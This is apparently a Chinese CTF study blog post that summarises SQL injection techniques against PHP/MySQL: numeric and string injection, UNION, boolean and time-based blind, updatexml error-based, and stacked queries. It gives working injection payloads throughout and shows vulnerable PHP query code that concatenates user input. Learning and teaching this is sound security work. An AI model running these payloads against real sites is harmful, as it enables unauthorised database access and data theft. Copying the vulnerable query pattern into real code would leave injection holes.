web

SQL注入基础整理(一)

noob
2021-01-28 / 0 评论 / 149 阅读 / 正在检测是否收录...
  • 数字型注入与字符型注入的区别
    关于数字型和字符型的判断,主要是来自于php中对于传入语句的区别。
数字型:$sql = mysqli_query($conn,"SELECT id,content FROM news WHERE id =".$_GET['id'])
字符型:$sql = mysqli_query($conn,"SELECT id,content FROM news WHERE id ='".$_GET['id']."'")

此处的区别就是传入时的区别,可以利用id = 3-1的回显判断是哪种注入,如果回显正常,那么就是数字型注入,如果页面返回为空,继续访问id = a,如果是正常回显则为字符型注入。

  • 数字型注入和UNION注入
    判断为数字型注入之后,开始进行SQL注入,而且此处的注入点是id,因此直接通过id入手,进行注入时,由于PHP代码决定该界面只显示一行记录,要设置id为-1或者是其他很大的数;或者是限定limit 1,1,用来指定查询第几条记录。假设已知有三个字段,2的位置会产生回显,于是进行注入payload:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()此时可以回显出所有的表名,然后找到有用的表名(假设是user)进一步注入payload:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user'然后就可以找到对应的字段名(假设flag在flag字段中),然后可以进一步注入payload:?id=-1 union select 1,flag,3 from flag
  • 字符型注入
    得知是字符型注入之后,可以使用单引号必和前面的单引号,然后注释掉后面的内容,于是使用"--%20"或者"%23"注释,然后后续的方法与数字型注入相同。
  • 布尔盲注
    原理是利用sql的强制转换,然后进行判断的功能,如果判断为true,则会回显,如果判断错误,则会回显空白,于是直接从后面进行判断,可以使用substring()、mid()、substr()函数进行判断,substring()函数和mid()函数起始值是1,substr()函数起始值是0。因此可以利用这些函数进行猜解,payload:?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100%23,然后可以像之前一样进一步的猜解。时间盲注的回显是通过对于回显的时间进行判断是否正确,例如payload:(if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4))%23
  • 报错注入
    形式就是当的语句出现错误时,会出现错误调试信息,主要是updatexml()函数和extractvalue()函数,updatexml()第二个参数为合法的XPATH路径,如果报错则会放回传入的参数进行输出。所以构造payload:id=1' and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
  • 堆叠注入
    多条语句一起执行,与UNION注入的区别是union的能力有限,而堆叠注入可以构造任意语句,使用(;)连接,在过滤较多但没有过滤(;)的题目中也许能够派上用场。

根据注入点的不同,注入姿势也是不一样的,以后会根据源码进行分析。
以上是阅读从0到1之后的一些笔记,均未涉及对关键字的过滤情况,在以后的整理中会有详细整理。

5

评论 (0)

取消